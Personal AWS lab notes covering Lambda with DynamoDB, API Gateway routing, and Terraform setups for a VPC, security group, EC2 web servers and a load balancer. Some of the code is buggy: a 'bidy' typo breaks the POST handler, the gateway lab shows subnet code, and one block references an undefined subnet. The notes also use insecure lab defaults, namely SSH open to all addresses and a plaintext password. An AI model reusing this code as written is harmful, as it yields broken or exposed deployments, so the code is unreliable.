![圖片](https://hackmd.io/_uploads/HkUWDCwu6.png) ```python import json import boto3 client = boto3.client('dynamodb') def lambda_handler(event, context): data = client.get_item( TableName='user', Key={ #Key == primitive key 'name': { 'S': 'meowhecker' } } ) print(data['Item']) response = { 'statusCode': 200, 'body': json.dumps(data.get('Item', {})), 'headers': { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' }, } return response ``` --- ### Testing & Deploy lambda function ![圖片](https://hackmd.io/_uploads/SkfrKRw_p.png) ![圖片](https://hackmd.io/_uploads/rkviFRw_a.png) ![圖片](https://hackmd.io/_uploads/HJoj9RPu6.png) ## LAB-Using Lambda function Inserts items into DynamoDB ![圖片](https://hackmd.io/_uploads/B10S3CwOT.png) ``` import json import boto3 client = boto3.client('dynamodb') def lambda_handler(event, context): PutItem = client.put_item( TableName='user', Item={ 'name': { 'S': 'meowTest' }, 'passwd': { 'S': 'meowT4' } } ) response = { 'statusCode': 200, 'body': json.dumps(PutItem), 'headers': { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } } return response ``` # API GateWay ## LAB-API Gateway & Lambda & dynamoDB ![圖片](https://hackmd.io/_uploads/SkAtG1OOp.png) ![圖片](https://hackmd.io/_uploads/SyC6QyO_p.png) Lambda Function ```python import json import boto3 import logging # 設定日誌記錄器的日誌等級為 INFO logger = logging.getLogger() logger.setLevel(logging.INFO) # 建立 DynamoDB 資源 dynamodb = boto3.resource('dynamodb', region_name='us-east-1') # Lambda 主處理函數 def lambda_handler(event, context): # 列印來自 API Gateway 的事件資料(用於偵錯) print(event) # 初始化一個變量,用於儲存處理後的數據,預設為 "Bad Request" data = {'Items': "Bad Request"} # 取得請求路徑和 HTTP 方法 statusCode = 200 path = event["path"] httpMethod = event["httpMethod"] # 連接到 DynamoDB 表 table = dynamodb.Table('addrbook') # 根據路徑和方法執行不同的操作 if httpMethod == 'GET' and path == '/addrbook': # 執行 DynamoDB 表的掃描操作 data = table.scan() elif httpMethod == 'POST' and path == '/add_addrbook': # 處理 POST 請求,新增 addrbook 記錄 if event['body'] is not None: # 解析請求內文為 JSON 格式 body = json.loads(event['body']) # 使用 put_item 方法將資料插入 DynamoDB 表 table.put_item( Item={ 'name': body['name'], 'phone': body['phone'], 'sex': bidy['sex'] }, ) data = {'Items': "addrbook created successfully"} else: data = {'Items': "Invalid Payload"} statusCode = 400 else: statusCode = 400 # 列印處理後的資料(用於調試) print(data['Items']) # 建立 Lambda 函數的回應,包括狀態碼、回應正文和標頭訊息 response = { 'statusCode': statusCode, 'body': json.dumps(data['Items']), 'headers': { 'Content-Type': 'application/json', }, } # 回傳回應 return response ``` Rest API GET/POST /addrbook Get -> Retrieve Data Post -> Insert Data into DB ### Create API GateWay ![圖片](https://hackmd.io/_uploads/H1muN1uua.png) ![圖片](https://hackmd.io/_uploads/H1bcNJOua.png) ### Adding routing API ![圖片](https://hackmd.io/_uploads/rJwxrkd_p.png) ![圖片](https://hackmd.io/_uploads/ryHQrkOdp.png) ### Setting API Method ![圖片](https://hackmd.io/_uploads/rkAYSkOOT.png) ![圖片](https://hackmd.io/_uploads/H1kkUyuOT.png) ![圖片](https://hackmd.io/_uploads/Hk3g8kuu6.png) Testing ![圖片](https://hackmd.io/_uploads/ByTEDkuua.png) ### Deploy the API ![圖片](https://hackmd.io/_uploads/ByPJOyuda.png) ![圖片](https://hackmd.io/_uploads/Skhm_JO_p.png) Work!! ![圖片](https://hackmd.io/_uploads/rkds_JOu6.png) # Terraform Download https://developer.hashicorp.com/terraform/install?product_intent=terraform Basic Command ``` terraform init (Initial) terraform plan (Check) terraform apply(Run Script) ``` Basic Syntax resource "key" "value" ## LAB-VPC ``` provider "aws" { region = "us-east-1" } resource "aws_vpc" "myvpc"{ cidr_block="192.168.0.0/16" tags = { Name = "myvpc" } } ``` ## LAB-SUB Network ```mf resource "aws_subnet" "subnet-web" { vpc_id = "${aws_vpc.myvpc.id}" cidr_block = "192.168.1.0/24" availability_zone = "us-east-1a" tags = { Name = "subnet-web" } } ``` ## LAB-IGW Attach IGW to subnet-web ``` resource "aws_subnet" "subnet-web" { vpc_id = "${aws_vpc.myvpc.id}" cidr_block = "192.168.1.0/24" availability_zone = "us-east-1a" tags = { Name = "subnet-web" } } ``` ## LAB-subNet Routing Table ```mf resource "aws_route_table" "myrt" { vpc_id="${aws_vpc.myvpc.id}" route { cidr_block="0.0.0.0/0" gateway_id = "${aws_internet_gateway.igw.id}" } tags = { Name = "myvpc-rt" } } ``` ## LAB-Associate routing with subnet ``` resource "aws_route_table_association" "myrt_assoc" { subnet_id = aws_subnet.subnet-web.id route_table_id = aws_route_table.myrt.id } ``` ## LAB-Create Security Group ```mf resource "aws_security_group" "sg_myvpc" { name = "sg_myvpc" description="security group for myvpc" vpc_id="${aws_vpc.myvpc.id}" ingress { description = "HTTPS traffic" from_port = 443 to_port = 443 protocol ="tcp" cidr_blocks = ["0.0.0.0/0"] } ingress { description = "HTTP traffic" from_port = 80 to_port = 80 protocol ="tcp" cidr_blocks = ["0.0.0.0/0"] } ingress { description = "SSH traffic" from_port = 22 to_port = 22 protocol ="tcp" cidr_blocks = ["0.0.0.0/0"] } egress { from_port = 0 to_port = 0 protocol ="-1" cidr_blocks= ["0.0.0.0/0"] } tags = { Name = "sg_myvpc" } } ``` ## LAB- Create Interface and assign EIP to IGW ```mf # Interface resource "aws_network_interface" "webserver-nic" { subnet_id = aws_subnet.subnet-web.id private_ips=["192.168.1.100"] security_groups = ["${aws_security_group.sg_myvpc.id}"] } # Assign Elastic Ip resource "aws_eip" "web-eip" { vpc = true network_interface = aws_network_interface.webserver-nic.id associate_with_private_ip = "192.168.1.100" depends_on = [aws_internet_gateway.igw] } ``` ## LAB-Create EC2 ```mf #Interface2 resource "aws_network_interface" "webserver2-nic" { subnet_id = aws_subnet.testvpc-web.id private_ips = ["192.168.1.200"] security_groups = ["${aws_security_group.sg_myvpc.id}"] } resource "aws_instance" "webserver" { ami="ami-0c7217cdde317cfec" instance_type = "t2.micro" availability_zone = "us-east-1a" key_name = "meowheckerKey2" network_interface { device_index = 0 network_interface_id = aws_network_interface.webserver-nic.id } user_data = <<-EOF #!/bin/bash sudo apt update -y sudo apt install apache2 -y sudo systemctl start apache2 sudo bash -c 'echo your very first web server > /var/www/html/index.html' EOF tags ={ Name = "web-server" } } ``` ## LAB-ALB ```mf provider "aws" { region = "us-east-1" } #--------------------------- #VPC resource "aws_vpc" "meowVPC"{ cidr_block="192.168.0.0/16" tags = { Name = "meowVPC" } } #--------------------------- #SubNet resource "aws_subnet" "meowVPC-web1" { vpc_id = "${aws_vpc.meowVPC.id}" cidr_block = "192.168.1.0/24" availability_zone = "us-east-1a" tags = { Name = "meowVPC-web1" } } resource "aws_subnet" "meowVPC-web2" { vpc_id = "${aws_vpc.meowVPC.id}" cidr_block = "192.168.2.0/24" availability_zone = "us-east-1b" tags = { Name = "meowVPC-web" } } #--------------------------- #IGW resource "aws_internet_gateway" "igw" { vpc_id="${aws_vpc.meowVPC.id}" tags = { Name = "meowVPC-igw" } } #-------------------------- #Routing Table #subnet-meow Routing resource "aws_route_table" "subnet-rt" { vpc_id="${aws_vpc.meowVPC.id}" route { cidr_block="0.0.0.0/0" # default Route -> IGW gateway_id = "${aws_internet_gateway.igw.id}" } tags = { Name = "subnet-rt" } } #Associate ROuting Table with subnet resource "aws_route_table_association" "subnet-rt_assoc" { subnet_id = aws_subnet.meowVPC-web1.id route_table_id = aws_route_table.subnet-rt.id } resource "aws_route_table_association" "subnet-rt_assoc2" { subnet_id = aws_subnet.meowVPC-web2.id route_table_id = aws_route_table.subnet-rt.id } # 建立 security group resource "aws_security_group" "sg_meowVPC" { name = "sg_meowVPC" description="security group " vpc_id="${aws_vpc.meowVPC.id}" # 綁定VPC # 允許80, 443, 22 ingress { description = "HTTPS traffic" from_port = 443 to_port = 443 protocol ="tcp" cidr_blocks = ["0.0.0.0/0"] # 允許任何來源的連線 } ingress { description = "HTTP traffic" from_port = 80 to_port = 80 protocol ="tcp" cidr_blocks = ["0.0.0.0/0"] } ingress { description = "SSH traffic" from_port = 22 to_port = 22 protocol ="tcp" cidr_blocks = ["0.0.0.0/0"] } egress { from_port = 0 # 0 表示 don't care to_port = 0 # 0 表示 don't care protocol ="-1" cidr_blocks= ["0.0.0.0/0"] } tags = { Name = "sg_meowVPC" } } #------------------------------------------ #Establish Interface in Subnet resource "aws_network_interface" "webserver1-nic" { subnet_id = aws_subnet.meowVPC-web1.id private_ips=["192.168.1.100"] security_groups = ["${aws_security_group.sg_meowVPC.id}"] } resource "aws_network_interface" "webserver2-nic" { subnet_id = aws_subnet.meowVPC-web2.id private_ips=["192.168.2.100"] security_groups = ["${aws_security_group.sg_meowVPC.id}"] } #----------------------- #EIP Setting resource "aws_eip" "web-eip" { vpc = true network_interface = aws_network_interface.webserver1-nic.id associate_with_private_ip = "192.168.1.100" depends_on = [aws_instance.webserver1, aws_internet_gateway.igw] } resource "aws_eip" "web-eip2" { vpc = true network_interface = aws_network_interface.webserver2-nic.id associate_with_private_ip = "192.168.2.100" depends_on = [aws_instance.webserver2, aws_internet_gateway.igw] } #----------------------------------------- #Create EC2 resource "aws_instance" "webserver1" { ami="ami-0c7217cdde317cfec" # ubuntu AMI instance_type = "t2.micro" availability_zone = "us-east-1a" key_name = "meowheckerKey2" network_interface { device_index = 0 network_interface_id = aws_network_interface.webserver1-nic.id } user_data = <<-EOF #!/bin/bash sudo apt update -y sudo apt install apache2 -y sudo systemctl start apache2 sudo bash -c 'echo web1 > /var/www/html/index.html' EOF tags ={ Name = "webserver1" } } resource "aws_instance" "webserver2" { ami="ami-0c7217cdde317cfec" # ubuntu AMI instance_type = "t2.micro" availability_zone = "us-east-1b" key_name = "meowheckerKey2" network_interface { device_index = 0 network_interface_id = aws_network_interface.webserver2-nic.id } user_data = <<-EOF #!/bin/bash sudo apt update -y sudo apt install apache2 -y sudo systemctl start apache2 sudo bash -c 'echo web2 > /var/www/html/index.html' EOF tags ={ Name = "webserver2" } } #---------------------------------------------------- # Create Target Group resource "aws_lb_target_group" "targetGroup" { name = "targetGroup" target_type = "instance" port = 80 protocol = "HTTP" protocol_version = "HTTP1" vpc_id = "${aws_vpc.meowVPC.id}" } # Bind Target group with EC2 Enstance resource "aws_lb_target_group_attachment" "attest1" { target_group_arn = aws_lb_target_group.targetGroup.arn target_id = aws_instance.webserver1.id port = 80 } resource "aws_lb_target_group_attachment" "attest2" { target_group_arn = aws_lb_target_group.targetGroup.arn target_id = aws_instance.webserver2.id port = 80 } # Create ALB resource "aws_alb" "meowVPC-ALB" { name = "meowVPC-ALB" internal = false load_balancer_type = "application" security_groups = ["${aws_security_group.sg_meowVPC.id}"] subnets = ["${aws_subnet.meowVPC-web1.id}", "${aws_subnet.meowVPC-web2.id}"] } # Blind ALB with Target Group resource "aws_lb_listener" "elb_listener" { load_balancer_arn = aws_alb.meowVPC-ALB.arn port = 80 protocol = "HTTP" default_action { type = "forward" target_group_arn = aws_lb_target_group.targetGroup.arn } } ``` ![圖片](https://hackmd.io/_uploads/HkZjgfuOp.png)